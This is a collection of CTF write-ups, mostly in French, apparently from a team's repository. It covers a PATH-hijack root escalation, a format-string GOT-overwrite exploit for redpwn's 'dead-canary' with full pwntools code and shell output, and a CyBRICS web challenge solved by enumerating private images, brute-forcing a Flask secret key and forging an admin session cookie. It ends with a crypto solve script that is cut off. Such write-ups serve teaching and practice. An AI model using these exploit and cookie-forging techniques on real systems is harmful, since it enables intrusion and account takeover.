HarmfulBinary essaye d'exécuter sans succès (`No such file or directory`) un autre binaire appelé `reallysuspiciousbin` via plusieurs chemins différents. Ces chemins utilisés nous font penser à la variable d'environnement `PATH`. Nous vérifions cela en affichant le contenu de cette variable d'environnement : 103 | 104 | ![path](images/path.png) 105 | *Source: Orange Cyberdefense* 106 | 107 | 108 | L'utilisateur giorgio maîtrisant cette variable d'environnement qui lui est propre, l'idée de cette étape est tout d'abord de modifier cette variable d'environnement afin d'inclure un chemin qu'on maîtrise (sur lequel on a les droits d'écriture) : 109 | 110 | ![setpath](images/setpath.png) 111 | *Source: Orange Cyberdefense* 112 | 113 | 114 | Il est possible de vérifier que le binaire `/home/giorgio/reallysuspiciousbin` est bien appelé (mais n'est pas trouvé car le binaire n'existe pas dans `/home/giorgio`) en réitérant la commande `strace`. L'idée est maintenant de créer un binaire malveillant appelé `reallysuspiciousbin` dans notre répertoire personnel pour qu'il soit exécuté avec les droits root lors de l'appel au binaire `HarmfulBinary`. 115 | 116 | 117 | Pour cela, nous utiliserons un binaire compilé en C. Il n'est pas possible d'utiliser un script du fait que le Kernel supprime les droits suid sur des fichiers de type script. 118 | 119 | Le rôle de ce binaire est de créer un interpréteur Bash avec les droits suid root : 120 | 121 | ![c](images/c.png) 122 | *Source: Orange Cyberdefense* 123 | 124 | 125 | Notre binaire `reallysuspiciousbin` étant prêt, il suffit de réexecuter de nouveau le binaire SUID `HarmfulBinary` pour activer notre payload : 126 | 127 | ![root](images/root.png) 128 | *Source: Orange Cyberdefense* 129 | 130 | 131 | Il ne nous reste plus qu'à exécuter via la commande suivante `cat /root/root.txt` pour obtenir le flag `OCD{Priv3esc_Is_Life_M@mene}` 132 | -------------------------------------------------------------------------------- /2020/redpwn2020/dead-canary/readme.md: -------------------------------------------------------------------------------- 1 | --- 2 | author: Flo 3 | --- 4 | 5 | # Dead-canary (pwn) 6 | 7 | *tldr: ce challenge consiste à utiliser une vulnérabilité de type format string pour réécrire deux entrées dans la GOT (printf et __stack_chk_fail) afin de pouvoir éxécuter systeme et obtenir un shell.* 8 | 9 | ## Reconnaissance 10 | 11 | Les fichiers suivants nous sont fournis: 12 | 13 | ``` 14 | $ tree 15 | . 16 | ├── bin 17 | │ ├── dead-canary 18 | │ └── flag.txt 19 | ├── ctf.xinetd 20 | ├── Dockerfile 21 | └── start.sh 22 | ``` 23 | 24 | Le Dockerfile nous donne la version de linux utilisé pour l'envirronement et ainsi la version de la libc, ma machine tournant aussi sous Ubuntu 18.04, je n'ai donc pas à changer la version de la libc. 25 | 26 | ``` 27 | $ head Dockerfile 28 | FROM ubuntu:18.04 29 | ``` 30 | 31 | Le binaire est compilé avec les protections NX, et stack canary, pas de full RELRO, ou de PIE (ouf ^^') 32 | 33 | ``` 34 | Arch: amd64-64-little 35 | RELRO: Partial RELRO 36 | Stack: Canary found 37 | NX: NX enabled 38 | PIE: No PIE (0x400000) 39 | ``` 40 | 41 | On éxécute le programme : 42 | 43 | ``` 44 | $ ./dead-canary 45 | What is your name: imflo 46 | Hello imflo 47 | ``` 48 | 49 | Ok, notre entrée est renvoyé. 50 | 51 | Apres plusieurs essaye on ne vois pas de buffer overflow, mais on constate une injection de format string. 52 | 53 | ``` 54 | $ ./dead-canary 55 | What is your name: %p, %p, %p 56 | Hello 0x7fffffffb7d0, 0x7ffff7dd18c0, (nil) 57 | ``` 58 | 59 | ## Exploitation 60 | 61 | L'exploitation de ce programme peut se diviser en 5 phases: 62 | 1. réécrire l'entré de la fonction `__stack_chk_fail` dans la GOT pour boucler sur le main (faire un appel récurssif) 63 | 2. leaker une adresse de la libc pour déterminer l'adresse de base de la libc 64 | 3. boucler sur le `main` et réécrire l'entré de `printf` dans la GOT par l'adresse de la fonction `system` que nous aurons déterminer à partir de l'adresse de base de la libc. 65 | 4. Envoyer `/bin/sh` dans le buffer et ainsi lorsque celui-ci sera passer à `printf` nous aurons notre shell. 66 | 5. Tripel Karmeliet 67 | 68 | ### __stack_chk_fail et leak libc 69 | 70 | Le programme étant compilé avec des stack cookies, il ne nous ai théoriquement pas possible de faire un overflow, sauf si nous arrivons à remettre le cookie sur la stack (ce qui dans notre cas serai possible, grâce à la format string), mais comme le programme n'a pas de FULL-RELRO, nous pouvons alors réécrire la GOT et tirer avantage de la fonction `__stack_chk_fail` qui est appeler lorsque le cookie est invalide en fin de fontion, en remplacant son adresse par l'adresse d'une autre fonction qui nous arrange plus. 71 | 72 | ```c 73 | int main(void) 74 | { 75 | long in_FS_OFFSET; 76 | char buffer [264]; 77 | long canary; 78 | 79 | canary = *(long *)(in_FS_OFFSET + 0x28); 80 | printf("What is your name: "); 81 | _fgets(0,buffer,0x120); 82 | printf("Hello "); 83 | printf(buffer); 84 | 85 | if (canary != *(long *)(in_FS_OFFSET + 0x28)) { 86 | // si le canary est invalide 87 | __stack_chk_fail(); 88 | } 89 | return 0; 90 | } 91 | ``` 92 | 93 | Pour réécrire une adresse gràce a une format string, on peut utiliser le formatteur `%n` qui écris le nombre de caratère déjà imprimé à l'adresse fourni en paramètre (pour rappel: si aucun paramètre n'est fournie, printf utilisera ce qui se trouve sur la stack, la chaine de caractère que nous lui envoyons se trouvant aussi sur la stack nous pouvons lui donner une chaine du type : `AAAAAAAA%8$n\x00XXX` et ainsi écrire 8 à l'adresse que nous lui fournirons). 94 | 95 | ``` 96 | pwndbg> start 97 | pwndbg> got 98 | 99 | GOT protection: Partial RELRO | GOT functions: 6 100 | 101 | [0x601018] _exit@GLIBC_2.2.5 -> 0x4005f6 (_exit@plt+6) ◂— push 0 /* 'h' */ 102 | [0x601020] write@GLIBC_2.2.5 -> 0x400606 (write@plt+6) ◂— push 1 103 | [0x601028] __stack_chk_fail@GLIBC_2.4 -> 0x400616 (__stack_chk_fail@plt+6) ◂— push 2 104 | [0x601030] setbuf@GLIBC_2.2.5 -> 0x400626 (setbuf@plt+6) ◂— push 3 105 | [0x601038] printf@GLIBC_2.2.5 -> 0x400636 (printf@plt+6) ◂— push 4 106 | [0x601040] read@GLIBC_2.2.5 -> 0x400646 (read@plt+6) ◂— push 5 107 | 108 | pwndbg> b* 0x004007e1 109 | pwndbg> r < <(python -c 'print "AAAAAAAA%8$n\x00BBB(\x10`\x00\x00\x00\x00\x00"') 110 | What is your name: Hello AAAAAAAA 111 | Breakpoint 2, 0x00000000004007e1 in ?? () 112 | 113 | pwndbg> got 114 | 115 | GOT protection: Partial RELRO | GOT functions: 6 116 | 117 | [0x601018] _exit@GLIBC_2.2.5 -> 0x4005f6 (_exit@plt+6) ◂— push 0 /* 'h' */ 118 | [0x601020] write@GLIBC_2.2.5 -> 0x400606 (write@plt+6) ◂— push 1 119 | [0x601028] __stack_chk_fail@GLIBC_2.4 -> 0x8 120 | [0x601030] setbuf@GLIBC_2.2.5 -> 0x7ffff7a6c4d0 (setbuf) ◂— mov edx, 0x2000 121 | [0x601038] printf@GLIBC_2.2.5 -> 0x7ffff7a48e80 (printf) ◂— sub rsp, 0xd8 122 | [0x601040] read@GLIBC_2.2.5 -> 0x7ffff7af4070 (read) ◂— lea rax, [rip + 0x2e0881] 123 | ``` 124 | 125 | Ici nous avons réécris l'entré de `__stack_chk_fail` avec 8 via la format string. 126 | 127 | Cependant pour pouvoir boucler sur le main, nous devons remplacer cette entré par `0x00400737`, ce qui signifierai écrire 4 196 151 caractères, ce qui serait LOOOOOOOONNNNNNNGGGGGGGG! (et de plus notre buffer ne fait que 264 caractères). 128 | 129 | Nous devons alors tiré avantage du modificateur de padding de printf, c'est à dire que si nous envoyons : `%020x` à printf il nous affichera : `00000000000000000001`. 130 | 131 | Et du modificateur de longeur `hn` qui permet de n'écrire que un short (2 bytes). 132 | 133 | De ce fait pour écrire `0x400737` à l'adresse `0x601028`, nous ferons deux écriture: 134 | 1. d'abord `0x40` à `0x60102A` 135 | 2. ensuite `0x737` à l'adresse `0x601028` 136 | 137 | De plus nous devons lire une entré de la GOT pour récupérer une adresse de la libc et calculer son de base. 138 | 139 | Pour ca, il suffit de faire un `%n$s\x00AAA` et de lire la sortie: 140 | 141 | ``` 142 | pwndbg> r < <(python -c 'print "%7$s\x00AAA8\x10`\x00\x00\x00\x00\x00"') 143 | What is your name: Hello ����� 144 | ``` 145 | 146 | Donc pour le moment, nous avons l'exploit suivant, qui nous donne l'adresse de base de la libc, et fais boucler le programme sur le main. 147 | 148 | ```python 149 | from pwn import * 150 | 151 | elf = ELF("./dead-canary") 152 | libc = elf.libc 153 | 154 | p = process(elf.path) 155 | p.recvuntil(": ") 156 | 157 | fmt = "%064x" 158 | fmt += "%11$n" 159 | fmt += "%01783x" 160 | fmt += "%12$hn" 161 | fmt += "%13$s" 162 | fmt += "BBBBBBBBBBB\x00" 163 | fmt += p64(elf.got.__stack_chk_fail + 2) 164 | fmt += p64(elf.got.__stack_chk_fail) 165 | fmt += p64(elf.got.printf) 166 | fmt += "C"*(272-len(fmt)) 167 | 168 | log.info("payload size : %s" % str(len(fmt))) 169 | log.info("payload : %s" % fmt) 170 | 171 | p.sendline(fmt) 172 | data = p.recvuntil(":") 173 | 174 | data = data.strip().split("BBBB")[0].split("0")[-1] 175 | l_printf = u64(data.ljust(8, "\x00")) 176 | b_libc = l_printf - libc.sym.printf 177 | libc.address = b_libc 178 | 179 | log.info("leak printf: %s" % hex(l_printf)) 180 | log.info("leak libc : %s" % hex(b_libc)) 181 | log.info("leak system: %s" % hex(libc.sym.system)) 182 | 183 | p.interactive() 184 | ``` 185 | 186 | sortie: 187 | ``` 188 | $ python stage1.py 189 | [+] Starting local process '/.../CTF/redpwn/2020/pwn/dead-canary/bin/dead-canary': pid 14813 190 | [*] payload size : 272 191 | [*] payload : %064x%11$n%01783x%12$hn%13$sBBBBBBBBBBB\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00CC[...]C 192 | [*] leak printf: 0x7ffff7a48e80 193 | [*] leak libc : 0x7ffff79e4000 194 | [*] leak system: 0x7ffff7a33440 195 | [*] Switching to interactive mode 196 | $ foo 197 | Hello foo 198 | \xff\x7f[*] Process '/.../CTF/redpwn/2020/pwn/dead-canary/bin/dead-canary' stopped with exit code 0 (pid 14813) 199 | [*] Got EOF while reading in interactive 200 | [*] Interrupted 201 | ``` 202 | 203 | ### Appel à system et obtention d'un shell 204 | 205 | Comme la première parti, nous tirons avantage de la format string pour réécrire l'entrée de `printf` dans la GOT par l'adresse de la fonction `system` que nous avons calculer grace au leak de la libc. 206 | 207 | On redéclenchera alors un overflow sur le cookie, ce qui appelera le main via `__stack_chk_fail` et nous pourrons alors saisir `/bin/sh` dans le buffer qui sera passer à `system` via la réécriture de `printf` dans la GOT et ainsi déclenchera notre shell. 208 | 209 | Il s'agit exactement de la même technique, je vais donc juste mettre à jour mon exploit: 210 | 211 | ```python 212 | from pwn import * 213 | 214 | elf = ELF("./dead-canary") 215 | libc = elf.libc 216 | 217 | p = process(elf.path) 218 | p.recvuntil(": ") 219 | 220 | log.warning("stage #1 : leaks.") 221 | log.info("__stack_chk_fail: %s" % hex(elf.got.__stack_chk_fail)) 222 | 223 | fmt = "%064x" 224 | fmt += "%11$n" 225 | fmt += "%01783x" 226 | fmt += "%12$hn" 227 | fmt += "%13$s" 228 | fmt += "BBBBBBBBBBB\x00" 229 | fmt += p64(elf.got.__stack_chk_fail + 2) 230 | fmt += p64(elf.got.__stack_chk_fail) 231 | fmt += p64(elf.got.printf) 232 | fmt += "C"*(272-len(fmt)) 233 | 234 | log.info("payload size : %s" % str(len(fmt))) 235 | log.info("payload : %s" % fmt) 236 | 237 | p.sendline(fmt) 238 | data = p.recvuntil(":") 239 | 240 | data = data.strip().split("BBBB")[0].split("0")[-1] 241 | l_printf = u64(data.ljust(8, "\x00")) 242 | b_libc = l_printf - libc.sym.printf 243 | libc.address = b_libc 244 | 245 | log.info("leak printf: %s" % hex(l_printf)) 246 | log.info("leak libc : %s" % hex(b_libc)) 247 | log.info("leak system: %s" % hex(libc.sym.system)) 248 | 249 | log.warning("stage #2 : exploitation.") 250 | 251 | log.info("two write to make:") 252 | 253 | first_write = int(hex(libc.sym.system)[-2:], 16) 254 | second_write = int(hex(libc.sym.system)[-6:-2], 16) 255 | 256 | log.info("1. [%s] => %s (%s)" % (hex(elf.got.printf), str(first_write), hex(first_write))) 257 | log.info("2. [%s] => %s (%s)" % (hex(elf.got.printf +1), str(second_write), hex(second_write))) 258 | 259 | exp = "%0{}x".format(first_write) 260 | exp += "%10$hn" 261 | exp += "%0{}x".format(second_write - first_write) 262 | exp += "%11$hn" 263 | exp += "Z"*(31 - len(exp)) + "\x00" 264 | exp += p64(elf.got.printf) 265 | exp += p64(elf.got.printf + 1) 266 | exp += "B"* (276 - len(exp)) 267 | exp += "AAAA" # just overwrite the stack canary 268 | 269 | p.sendline(exp) 270 | p.sendline("/bin/sh") 271 | p.interactive() 272 | ``` 273 | 274 | et si nous le lançons: 275 | ``` 276 | $ python exploit_v2.py 277 | [+] Starting local process '/.../CTF/redpwn/2020/pwn/dead-canary/bin/dead-canary': pid 14990 278 | [!] stage #1 : leaks. 279 | [*] __stack_chk_fail: 0x601028 280 | [*] payload size : 272 281 | [*] payload : %064x%11$n%01783x%12$hn%13$sBBBBBBBBBBB\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 282 | [*] leak printf: 0x7ffff7a48e80 283 | [*] leak libc : 0x7ffff79e4000 284 | [*] leak system: 0x7ffff7a33440 285 | [!] stage #2 : exploitation. 286 | [*] two write to make: 287 | [*] 1. [0x601038] => 64 (0x40) 288 | [*] 2. [0x601039] => 41780 (0xa334) 289 | [*] Switching to interactive mode 290 | Hello 000000[...]00f7dd18c0ZZZZZZsh: 1: What: not found 291 | sh: 1: Hello: not found 292 | $ cat flag.txt 293 | imflo{this_is_a_plaholder_flag} 294 | $ 295 | [*] Interrupted 296 | ``` 297 | 298 | Victoire, nous avon un shell en local ! Et en remote ? 299 | 300 | ``` 301 | $ python exploit_v2.py REMOTE 302 | [+] Opening connection to 2020.redpwnc.tf on port 31744: Done 303 | [!] stage #1 : leaks. 304 | [*] __stack_chk_fail: 0x601028 305 | [*] payload size : 272 306 | [*] payload : %064x%11$n%01783x%12$hn%13$sBBBBBBBBBBB\x00\x10\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC 307 | [*] leak printf: 0x7fcae602ee80 308 | [*] leak libc : 0x7fcae5fca000 309 | [*] leak system: 0x7fcae6019440 310 | [!] stage #2 : exploitation. 311 | [*] two write to make: 312 | [*] 1. [0x601038] => 64 (0x40) 313 | [*] 2. [0x601039] => 404 (0x194) 314 | [*] Switching to interactive mode 315 | Hello 000[...]00e63b78c0ZZZZZZZZsh: 1: What: not found 316 | sh: 1: Hello: not found 317 | $ cat flag.txt 318 | flag{t0_k1ll_a_canary_4e47da34} 319 | $ 320 | [*] Interrupted 321 | ``` 322 | 323 | ![](https://media.giphy.com/media/xUA7aQOxkz00lvCAOQ/giphy.gif) -------------------------------------------------------------------------------- /2020/cybrics2020/codeshot/readme.md: -------------------------------------------------------------------------------- 1 | --- 2 | author: Titanex 3 | --- 4 | 5 | ## The challenge description 6 | 7 | It's a medium task, flagged by 9 teams during the CyBRICS 2020. 8 | 9 | ``` 10 | Author: Alexander Menshchikov (@n0str) 11 | 12 | Our startup department recently came up with a new code embedding service. You can share your code in image format. Check it out now, maybe you can provide us some free pentest 😼: codeshot-cybrics2020.ctf.su/ 13 | 14 | Admin user has the flag in his private images. 15 | ``` 16 | 17 | ## A little web challenge 18 | 19 | So, first, we go to the website. 20 | 21 | The website is very simple : one forms. 22 | You enter your code, choose if it must be private (public by default), enter the "square" of blur, send it to the server. 23 | 24 | The request's body looks like this (blur the first letter of "import telebot") : 25 | 26 | ``` 27 | -----------------------------3774721316872016531394040701 28 | Content-Disposition: form-data; name="code" 29 | 30 | import telebot 31 | -----------------------------3774721316872016531394040701 32 | Content-Disposition: form-data; name="is_private" 33 | 34 | 1 35 | -----------------------------3774721316872016531394040701 36 | Content-Disposition: form-data; name="x" 37 | 38 | 0 39 | -----------------------------3774721316872016531394040701 40 | Content-Disposition: form-data; name="y" 41 | 42 | 0 43 | -----------------------------3774721316872016531394040701 44 | Content-Disposition: form-data; name="x_size" 45 | 46 | 1 47 | -----------------------------3774721316872016531394040701 48 | Content-Disposition: form-data; name="y_size" 49 | 50 | 1 51 | -----------------------------3774721316872016531394040701-- 52 | ``` 53 | 54 | The service generates this image at `http://codeshot-cybrics2020.ctf.su:80/uploads//` : 55 | 56 | ![Example of blur](solve/example.png) 57 | 58 | After some reuploads, we know that user and image id are incremental. 59 | We can decode the JWT cookie : 60 | 61 | ``` 62 | python3 flask_session_cookie_manager3.py decode -c .eJwlzj0OwjAMQOG7eGaIf2I7vUyVxI5gbemEuDuVmN8bvg_s68jzCdv7uPIB-ytggxlN3FtdLXW4Ia1ZR1FaQ00EZRH7yhRFnirWtMUy7jiMMMR76W16n5MYhUv3u7r5HMaUOUpiBFf0VA4WjXBFo1pE-d6bBtyQ68zjr6kVvj-5xi51.XxyptA.ERtfI7PQVc8HeYMaWr7cSD7b3oQ 63 | b'{"_fresh":true,"_id":"cd948895f9e6b8712fc5b062fb674414f238fee4[...]d3518e63d346dd861725046343096d","_user_id":"55"} 64 | ``` 65 | 66 | Let's start try if we can recover some public code images of other users. 67 | 68 | A simple brute force script with Python3 and requests will be perfect (generated with ["Copy As Python-Requests"](https://portswigger.net/bappstore/b324647b6efa4b6a8f346389730df160) burp extension): 69 | 70 | ```python 71 | import requests 72 | 73 | 74 | cookies = {"session": ".eJwlzj0OwjAMQOG7eGaIf2I7vUyVxI5gbemEuDuVmN8bvg_s68jzCdv7uPIB-ytggxlN3FtdLXW4Ia1ZR1FaQ00EZRH7yhRFnirWtMUy7jiMMMR76W16n5MYhUv3u7r5HMaUOUpiBFf0VA4WjXBFo1pE-d6bBtyQ68zjr6kVvj-5xi51.XxyptA.ERtfI7PQVc8HeYMaWr7cSD7b3oQ"} 75 | headers = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"} 76 | 77 | i = 0 78 | 79 | for i in range(1,500): 80 | for u in range(1,500): 81 | url = "http://codeshot-cybrics2020.ctf.su:80/uploads/%s/%s" % (u,i) 82 | r=requests.get(url, headers=headers, cookies=cookies) 83 | 84 | if r.status_code == 200: 85 | print("[+] User, image :",u,",",i) 86 | with open("./img/%s_%s.png" % (u,i),'wb') as f: 87 | f.write(r.content) 88 | break 89 | ``` 90 | 91 | We found 4 images from the user_id 1, the administrator : 92 | 93 | ![1_1](solve/1_1.png) 94 | ![1_2](solve/1_2.png) 95 | ![1_3](solve/1_3.png) 96 | ![1_4](solve/1_4.png) 97 | 98 | The transcribed code ('_' represents blur): 99 | 100 | ``` 101 | from helpers import apply_blur_filter 102 | 103 | app = Flask (__name__) 104 | app.config['UPLOAD_FOLDER'] ___________' 105 | app.config['SECRET_KEY'] = '___________9ftys7dfstf' 106 | app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite' 107 | app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb 108 | 109 | Bootstrap (app) 110 | db = SQLAlchemy (app) 111 | 112 | def apply_blur_filter(im, start=(0, 0), end=(1, 1), PIXELIZAT_______ 113 | def make_one_square(img, old, row, col, size): 114 | try: 115 | npix = [] 116 | for ni in range(row - PIXELIZATION, row + PIXELIZATION): 117 | for nj in range(col - PIXELIZATION, col + PIXELIZATION): 118 | 119 | if ni == col and nj == col: continue 120 | if ni < 0 or nj < 0: continue 121 | if ni >= size[1] or nj >= size[0]: continue 122 | 123 | npix.append(old[nj, ni]) 124 | 125 | av_r = 0 126 | av_g = 0 127 | av_b = 0 128 | for r, g, b in npix: 129 | av_r += r 130 | av_g += g 131 | av_b += b 132 | av_r //= len(npix) 133 | av_g //= len(npix) 134 | av_b //= len(npix) 135 | img[col, row] = (av_r, av_g, av_b) 136 | except Exception as e: 137 | logging.error (e) 138 | logging.error (row) 139 | logging.error (col) 140 | logging.error (size) 141 | 142 | new_image = im.copy() 143 | old_image_pix = im.load() 144 | new_image_pix = new_image.load() 145 | 146 | for i in range(10 + start[0] * 12, 10 + end[0] * 12): 147 | for j in range(10 + start[1] * 10, 10 + end[1] * 10): 148 | make_one_square (new_image_pix, old_image_pix, i, j, size=new_image.size) 149 | return new_image 150 | ``` 151 | 152 | The script didn't find a 5th public image. 153 | 154 | 155 | 156 | Ok, let's recap. 157 | 158 | We have : 159 | - the administrator ID, `1` ; 160 | - a partial secret key ; 161 | - the blurring function code with some blanks. 162 | 163 | We have to find the flag inside admin's private images. 164 | We have to be the administrator. 165 | 166 | So we must recover the full secret key to forge a good admin's JWT with [flask_session_cookie_manager](https://github.com/noraj/flask-session-cookie-manager). 167 | 168 | ## "In the kingdom of the blind, the one-eyed is king" 169 | 170 | Let's go unblur these lines : 171 | 172 | ``` 173 | app = Flask (__name__) 174 | app.config['UPLOAD_FOLDER'] XXXXXXXXXX' 175 | app.config['SECRET_KEY'] = 'XXXXXXXXXX9ftys7dfstf' 176 | app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite' 177 | 178 | 179 | def apply_blur_filter(im, start=(0, 0), end=(1, 1), PIXELIZATXXXXXXX 180 | 181 | ``` 182 | 183 | 184 | ### The easy part 185 | 186 | For the upload folder, I try something : `= 'uploads'`. (this comes from other challenges of the CyBRICS) 187 | 188 | To verify it, we blur our code and check the result. 189 | Spoiler alert, it's working (you can look up some rgb value with gimp). 190 | 191 | ```python 192 | app = Flask (__name__) 193 | app.config['UPLOAD_FOLDER'] = 'uploads' 194 | app.config['SECRET_KEY'] = '___________9ftys7dfstf' 195 | app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite' 196 | app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb 197 | ``` 198 | 199 | The second easy part is `PIXELIZAT_______`. 200 | It's an optional parameter (PIXELIZATION, why not ?) at the ending of the declaration : `PIXELIZATION=_):` 201 | 202 | Ok, `PIXELIZATION` is an integer parameter between 0 and 9. 203 | 204 | If you do some test locally with the blurring function, you can find the value : `8`. 205 | 206 | But we don't need this because here come the error of the filter. 207 | 208 | ### The Grid ! 209 | 210 | Let's start analysing the blur filter to understand why their filter is a bad idea and protect nothing (we take the max possible value for `PIXELIZATION`): 211 | 212 | ```python 213 | def apply_blur_filter(im, start=(0, 0), end=(1, 1), PIXELIZATION=9): 214 | def make_one_square(img, old, row, col, size): 215 | try: 216 | npix = [] 217 | for ni in range(row - PIXELIZATION, row + PIXELIZATION): 218 | for nj in range(col - PIXELIZATION, col + PIXELIZATION): 219 | 220 | if ni == col and nj == col: continue 221 | if ni < 0 or nj < 0: continue 222 | if ni >= size[1] or nj >= size[0]: continue 223 | 224 | npix.append(old[nj, ni]) 225 | 226 | av_r = 0 227 | av_g = 0 228 | av_b = 0 229 | for r, g, b in npix: 230 | av_r += r 231 | av_g += g 232 | av_b += b 233 | av_r //= len(npix) 234 | av_g //= len(npix) 235 | av_b //= len(npix) 236 | img[col, row] = (av_r, av_g, av_b) 237 | except Exception as e: 238 | logging.error (e) 239 | logging.error (row) 240 | logging.error (col) 241 | logging.error (size) 242 | 243 | new_image = im.copy() 244 | old_image_pix = im.load() 245 | new_image_pix = new_image.load() 246 | 247 | for i in range(10 + start[0] * 42, 10 + end[0] * 42): 248 | for j in range(10 + start[1] * 10, 10 + end[1] * 10): 249 | make_one_square (new_image_pix, old_image_pix, i, j, size=new_image.size) 250 | return new_image 251 | ``` 252 | 253 | The algorithm takes the average RGB value of a square of pixels around the pixel to blur it. 254 | 255 | ![The Grid](solve/grid.png) 256 | 257 | The RGB value of the A pixel will be the average of all rgb value of gray pixels. The yellow pixels will be ignored. 258 | That is interesting because the font size of codeshot is 10 pixels. 259 | 260 | Conclusion : The first pixel column depends only on the preceding letter and the current letter. 261 | 262 | ![Letter](solve/letter.png) 263 | 264 | As the filter is applied on a rectangle, we have to pay attention to the line above. 265 | But we found the right combination, so we can start the brute force part. 266 | 267 | We test each character to find the good one and repeat it 10 times. 268 | 269 | The alphabet can be reduced to [a-z0-9] to make faster tests (based on the partial key). 270 | 271 | ```python 272 | from PIL import Image 273 | import requests 274 | 275 | cookies = {"session": ".eJwlzj0OwjAMQOG7ZGaIY8c_vUyV2I5gbemEuDuVmN8bvk_Z15Hns2zv48pH2V9RtuJhpGp9WfJUgba8z8ptTRYioNVQVyYxoDOJscUSHDClQZCOOsx1uDcEwjr0rirqU7BlzpoQgR00GQOJI5RBWq_EeO_GUW7Idebx1zBZ-f4A6Egurg.XxyuGg._S-bIVLJ1xltFj2Be5YKPB_uxWE"} 276 | headers_post = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://codeshot-cybrics2020.ctf.su/profile", "Content-Type": "multipart/form-data; boundary=---------------------------3774721316872016531394040701", "Connection": "close", "Upgrade-Insecure-Requests": "1"} 277 | headers_get = {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} 278 | data = "-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"code\"\r\n\r\nfrom helpers import apply_blur_filter\r\n\r\napp = Flask (__name__)\r\napp.config['UPLOAD_FOLDER'] = 'uploads'\r\napp.config['SECRET_KEY'] = '%s'\r\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.sqlite'\napp.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb\r\n\r\nBootstrap (app)\r\ndb = SQLAlchemy (app)\r\n-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"is_private\"\r\n\r\n1\r\n-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"x\"\r\n\r\n28\r\n-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"y\"\r\n\r\n3\r\n-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"x_size\"\r\n\r\n10\r\n-----------------------------3774721316872016531394040701\r\nContent-Disposition: form-data; name=\"y_size\"\r\n\r\n2\r\n-----------------------------3774721316872016531394040701--\r\n" 279 | 280 | alphabet = "0123456789abcdefghijklmnopqrstuvwxyz" 281 | secret_key = '__________9ftys7dfstf' 282 | sol = "" 283 | 284 | chall = Image.open("chall.png") 285 | chall_pix = chall.load() 286 | 287 | while len(sol) < 10: 288 | for c in alphabet: 289 | 290 | tmp_secret_key = sol + c + secret_key[len(sol)+1:] 291 | 292 | print("[+] tmp_secret_key :",tmp_secret_key) 293 | 294 | response = requests.post("http://codeshot-cybrics2020.ctf.su:80/profile", headers=headers_post, cookies=cookies, data=data % tmp_secret_key) 295 | img_id = response.text.split('/uploads/649/')[-1].split('">')[0].strip() 296 | 297 | url = "http://codeshot-cybrics2020.ctf.su:80/uploads/649/" + img_id 298 | img = requests.get(url, headers=headers_get, cookies=cookies).content 299 | 300 | with open('tmp.png','wb') as f: 301 | f.write(img) 302 | 303 | img = Image.open('tmp.png') 304 | img_pix = img.load() 305 | 306 | for i in range(180,200,2): 307 | col = 10 + 10 * (28 + len(sol)) 308 | if not chall_pix[col,i] == img_pix[col,i]: 309 | break 310 | else: 311 | sol += c 312 | break 313 | 314 | print(sol) 315 | ``` 316 | 317 | And the secret key is : `jds89fysd79ftys7dfstf` 318 | 319 | ### The last step 320 | 321 | Now, we just have to forge a valid admin JWT and play it to gather the flag image. 322 | 323 | ``` 324 | $ python3 flask_session_cookie_manager3.py encode -s 'jds89fysd79ftys7dfstf' -t "{'_fresh': True, '_id': 'cd948895f9e6b8712fc5b062fb674414f238fee4613c647969df73a1b721d48a0a9c8acc231430a8df7878cb732eeb0e1dd3518e63d346dd861725046343096d', '_user_id': '1'}" 325 | .eJwlzjkOwjAQQNG7uKbwLJ4ll4lsz1jQJqRC3J1I1P8X71P2deT5LNv7uPJR9leUrcxwNvO2PGWYAq7ZRhVcQ5QZeCHZymQBmsLq4rGUOgxFCLZeu0_rcyIBU-12V1ObQwkzR02IoAaWQkEsESag2CoL3btLlBtynXn8NVC-P4t6Ljw.Xx0Fgw.qX_e32dIbiGtPG5tHqIupW13eko 326 | ``` 327 | 328 | And the flag : `cybrics{w0w_whythisfilterisnotalreadyinphotoshop}` 329 | 330 | ![flag](solve/flag.png) 331 | -------------------------------------------------------------------------------- /2019/sigsegv2/crypto/crypto_calculous/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import math,timeit 5 | from sympy.ntheory import factorint 6 | from 